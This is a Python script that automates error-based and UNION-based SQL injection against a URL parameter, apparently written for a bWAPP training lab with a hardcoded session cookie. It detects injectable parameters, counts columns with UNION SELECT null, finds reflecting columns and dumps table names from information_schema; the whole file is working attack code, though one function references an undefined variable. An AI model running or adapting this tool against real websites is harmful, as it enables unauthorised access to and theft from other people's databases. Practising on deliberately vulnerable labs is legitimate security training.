#!/bin/python
import requests, urllib, optparse, re
from bs4 import BeautifulSoup

def request(url):
    # if 'bwapp' in url.lower():
    cookies = {'PHPSESSID': 'mrn11p2h07vun2lekesslon3j4', 'security_level': '0'}
        # response = requests.get(url, cookies=cookies)
        # return response

    response = requests.get(url, cookies=cookies)
    return response

def testParamter(url):
    response = request(url)
    if 'You have an error in your SQL syntax' in response.content:
        return 'vulnerable'
    return 'Not vulnerable'

def makeUrl(baseUrl, paramName, paramValue):
    newUrl = baseUrl + '?' + paramName + '=' + paramValue
    return newUrl

def fixPayloads(baseUrl, paramName, paramValue):
    paramValueLocal = paramValue
    paramValueLocal += '%2D%2D+'
    newUrl = makeUrl(baseUrl, paramName, paramValueLocal)
    result = testParamter(newUrl)

    if result == 'Not vulnerable':
        return newUrl

    paramValueLocal = paramValue
    paramValueLocal += ')%2D%2D+'
    newUrl = makeUrl(baseUrl, paramName, paramValueLocal)
    result = testParamter(newUrl)

    if result == 'Not vulnerable':
        return newUrl

    raise Exception('Sqli Failed')

def tryErrorPayloads(baseUrl, paramName):
    paramValue = "'"
    newUrl = makeUrl(baseUrl, paramName, paramValue)
    result = testParamter(newUrl)
    if result == 'vulnerable':
        return paramValue

    paramValue = '"'
    newUrl = makeUrl(baseUrl, paramName, paramValue)
    result = testParamter(newUrl)

    if result == 'vulnerable':
        return paramValue

    raise Exception('Sqli Failed')

def testCols(url):
    result = request(url)
    if not("columns" in result.content):
        return True

def findCols(url):
    localUrl = url.split('%2D%2D+')[0]
    colsFound = False
    localUrl += ' union select null'
    localUrl += '%2D%2D+'
    i=0
    while colsFound != True:
        localUrl = localUrl.replace("%2D%2D+", "")
        localUrl += ', null'
        localUrl += '%2D%2D+'
        result = testCols(localUrl)
        if result:
            colsFound = True

    cols = localUrl.split('null')

    return {
            "cols": len(cols) - 1,
            "url": localUrl,
        }

def replacenth(string, sub, wanted, n):
    where = [m.start() for m in re.finditer(sub, string)][n-1]
    before = string[:where]
    after = string[where:]
    after = after.replace(sub, wanted, 1)
    newString = before + after
    return newString

def findColsType(url, numOfNull):
    numOfNull = int(numOfNull)
    i=1
    colsType = {}
    while i <= numOfNull:
        value = "'a'"
        localUrl = url
        localUrl = replacenth(localUrl, 'null', value, i)
        response = request(localUrl)
        response = response.content.lower()

        if not 'server error' in response or 'conversion failed' in response:
            colsType[i] = "string"
            i=i+1
            continue

        i=i+1

    if not colsType:
        raise Exception('Sqli Failed!')
    return colsType

def findReflection(cols, url):
    localUrl = url
    keys = cols.keys()
    reflectingCols = []
    for i in keys:
        localUrl = url
        localUrl = replacenth(localUrl, 'null', "'local_host_127'", i)
        response = request(localUrl)
        reflection_string = re.findall(r'local_host_127', response.content)
        if reflection_string:
            reflectingCols.append(i)

    if not reflectingCols:
        raise Exception('Sql Injection Not Found')
    return reflectingCols


def exploitingUnionInj(url, reflectionCols):
    localUrl = url
    localUrl = replacenth(localUrl, 'null', "concat('dblimiter', group_concat(table_name), 'dbdelimiter')", reflectingCols[0])
    localUrl = replacenth(localUrl, '%2D%2D+', "", 1)
    localUrl += " from information_schema.tables where table_schema=database()%2D%2D+"
    response = request(localUrl)
    result = re.findall(r'dblimiter.*dbdelimiter', response.content)
    result[0] = result[0].replace('dblimiter', '')
    result = result[0].replace('dbdelimiter', '')
    if not result:
        raise Exception('Sqli Failed')
    return result


try:
    # url = "http://lab.awh.zdresearch.com/chapter1/sqli_lab/Less-4/?id=1"
    url = "http://lab.awh.zdresearch.com/chapter2/bWAPP/bWAPP/sqli_1.php?title=movie"
    localurl = url.split('?')
    baseUrl = localurl[0]
    paramName = localurl[1].split('=')[0]
    paramValue = tryErrorPayloads(baseUrl, paramName)
    if paramValue:
        result = fixPayloads(baseUrl, paramName, paramValue)
        cols = findCols(result)
        colsType = findColsType(cols["url"], cols["cols"])
        reflectingCols = findReflection(colsType, cols["url"])
        result = exploitingUnionInj(cols["url"], reflectingCols)
        print(result)

except Exception:
      print('Sqli Failed')
